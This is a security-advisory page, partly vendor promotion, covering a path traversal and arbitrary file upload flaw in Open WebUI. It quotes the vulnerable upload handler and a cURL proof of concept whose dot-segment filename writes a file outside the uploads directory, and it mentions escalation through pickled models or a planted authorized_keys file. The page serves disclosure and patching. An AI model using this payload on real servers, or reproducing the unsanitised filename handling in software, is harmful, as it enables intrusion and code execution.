GHSA-9pgh-j74g-qj6m
HIGHGHSA-9pgh-j74g-qj6m is a high-severity (CVSS 7.3) Path Traversal vulnerability in open-webui. O3 Security confirms whether GHSA-9pgh-j74g-qj6m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI Vulnerable to Arbitrary File Upload and Path Traversal
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
CONFIDENTIAL
KL-CAN-2024-002
Vulnerability Details
| # | Field | Value |
|---|---|---|
| 1 | Discoverer | Jaggar Henry & Sean Segreti of KoreLogic, Inc. |
| 2 | Date Submitted | 2024.03.12 |
| 3 | Title | Open WebUI Arbitrary File Upload + Path Traversal |
| 5 | Affected Vendor | Open WebUI |
| 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) |
| 7 | Affected Version(s) | 0.1.105 |
| 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) |
| 9 | Vector | HTTP web interface |
| 10 | CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type |
4. High-level Summary
Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability.
11. Technical Analysis
When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.
The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.
This can be visualized by examining the python code for the /rag/api/v1/doc API route:
@app.post("/doc")
def store_doc(
collection_name: Optional[str] = Form(None),
file: UploadFile = File(...),
user=Depends(get_current_user),
):
# "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"
print(file.content_type)
try:
filename = file.filename
file_path = f"{UPLOAD_DIR}/{filename}"
contents = file.file.read()
with open(file_path, "wb") as f:
f.write(contents)
f.close()
The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.
This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled authorized_keys file to remotely connect to the machine.
12. Proof-of-Concept
Execute the following cURL command:
TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\
curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc"
Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:
ollama@webserver:~$ cat /tmp/pwned.txt
korelogic
ollama@webserver:~$
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.1.124 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.1.124 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9pgh-j74g-qj6m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9pgh-j74g-qj6m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9pgh-j74g-qj6m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9pgh-j74g-qj6m in your dependencies?
O3 detects GHSA-9pgh-j74g-qj6m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.